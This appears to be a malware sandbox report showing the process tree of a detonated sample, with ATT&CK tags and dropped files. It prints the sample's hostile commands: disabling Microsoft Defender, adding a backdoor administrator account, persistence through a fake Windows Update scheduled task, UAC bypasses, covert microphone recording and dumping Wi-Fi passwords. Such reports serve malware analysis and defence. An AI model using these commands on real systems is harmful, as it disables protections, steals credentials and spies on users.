C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"8⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add8⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add9⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add9⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"8⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639218841663680539.wav')"8⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"6⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add6⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add7⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add7⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"6⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add4⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add5⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add5⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639218841594933531.wav')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add2⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add3⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add3⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"2⤵
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear2⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639218841612277462.wav')"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\tcpmon.exeC:\Users\Admin\AppData\Local\tcpmon.exe1⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\227765dc-714e-4d4c-b756-ea708f429f49.inf2⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"2⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"3⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0c9f7269-1bb7-4c05-8db3-99a63c679b08.inf4⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"4⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"5⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"5⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\28e5570a-1576-4313-89b5-81c59b488f77.inf6⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"6⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"7⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"7⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2419c2ea-037d-4868-999e-45f25720522e.inf8⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"8⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"9⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"9⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f10⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\17546089-b33b-462a-b9b0-d46771ba2bb5.inf10⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"10⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"11⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"11⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f12⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\8bf2b502-f3bb-473b-b9fa-46904556cfab.inf12⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"12⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"13⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"13⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f14⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0c77225c-3a46-4211-9299-5359ad52f54a.inf14⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"14⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"15⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"15⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe" /sc onlogon /f16⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ea627944-5093-4c20-8d2f-ecc9a962e962.inf16⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"16⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"17⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"16⤵
-
C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"C:\Users\Admin\AppData\Local\Temp\electricstud.io_new.exe"17⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"16⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"14⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add14⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add15⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add14⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"12⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add12⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add13⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add12⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add13⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"12⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"10⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add10⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add11⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add10⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add11⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"10⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"8⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add8⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add9⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add9⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"8⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"6⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add6⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add7⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add7⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639218841626027344.wav')"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add4⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add5⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add5⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639218841590245961.wav')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add2⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add3⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add3⤵
-
-
-
C:\Windows\system32\notepad.exe"notepad.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639218841612902689.wav')"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\netsh.exe"netsh" wlan show profiles key=clear2⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\system32\dwm.exe"dwm.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Account Manipulation
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create Account
1Local Account
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Account Manipulation
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
install.log
install.log
install.log
install.log
install.log
install.log
install.log
install.log
install.log
install.log
ModuleAnalysisCache
227765dc-714e-4d4c-b756-ea708f429f49.inf
__PSScriptPolicyTest_wc4zsxeu.qm4.ps1
aecb58bf-b096-4659-8dd9-222cff7c52ba.inf
uac.bat
uac.bat
tcpmon.exe
config.dat
run.dat
memory/1172-35-0x000001D63D8E0000-0x000001D63D902000-memory.dmp
memory/2816-293-0x000000001B000000-0x000000001B010000-memory.dmp
memory/2816-0-0x0000000000310000-0x000000000031C000-memory.dmp
memory/2816-533-0x000000001B000000-0x000000001B010000-memory.dmp
memory/5132-526-0x000001D5F3E20000-0x000001D5F3E21000-memory.dmp